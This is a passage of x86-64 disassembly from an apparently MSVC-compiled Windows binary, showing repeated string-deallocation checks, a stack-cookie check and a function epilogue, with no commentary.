sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046e1a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x5d8], r12
mov qword [rbp + 0x5e0], 0xf
mov byte [rbp + 0x5c8], 0
mov rdx, qword [rbp + 0x428]
cmp rdx, 0xf
jbe 0x140046e7c
inc rdx
mov rcx, qword [rbp + 0x410]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046e77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046e77
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x420], r12
mov qword [rbp + 0x428], 0xf
mov byte [rbp + 0x410], 0
mov rdx, qword [rbp + 0x5b8]
cmp rdx, 0xf
jbe 0x140046ed9
inc rdx
mov rcx, qword [rbp + 0x5a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046ed4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046ed4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x5b0], r12
mov qword [rbp + 0x5b8], 0xf
mov byte [rbp + 0x5a0], 0
mov rdx, qword [rbp + 0x448]
cmp rdx, 0xf
jbe 0x140046f36
inc rdx
mov rcx, qword [rbp + 0x430]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046f31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046f31
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x440], r12
mov qword [rbp + 0x448], 0xf
mov byte [rbp + 0x430], 0
mov rdx, qword [rbp + 0x608]
cmp rdx, 0xf
jbe 0x140046f93
inc rdx
mov rcx, qword [rbp + 0x5f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046f8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046f8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x600], r12
mov qword [rbp + 0x608], 0xf
mov byte [rbp + 0x5f0], 0
mov rdx, qword [rbp + 0x528]
cmp rdx, 0xf
jbe 0x140046ff0
inc rdx
mov rcx, qword [rbp + 0x510]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046feb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046feb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov rcx, qword [rbp + 0x738]
xor rcx, rsp
call fcn.140047c70
lea r11, [rsp + 0x8e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140042990
nop
call fcn.1400428f0
int3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
jmp 0x1400434b0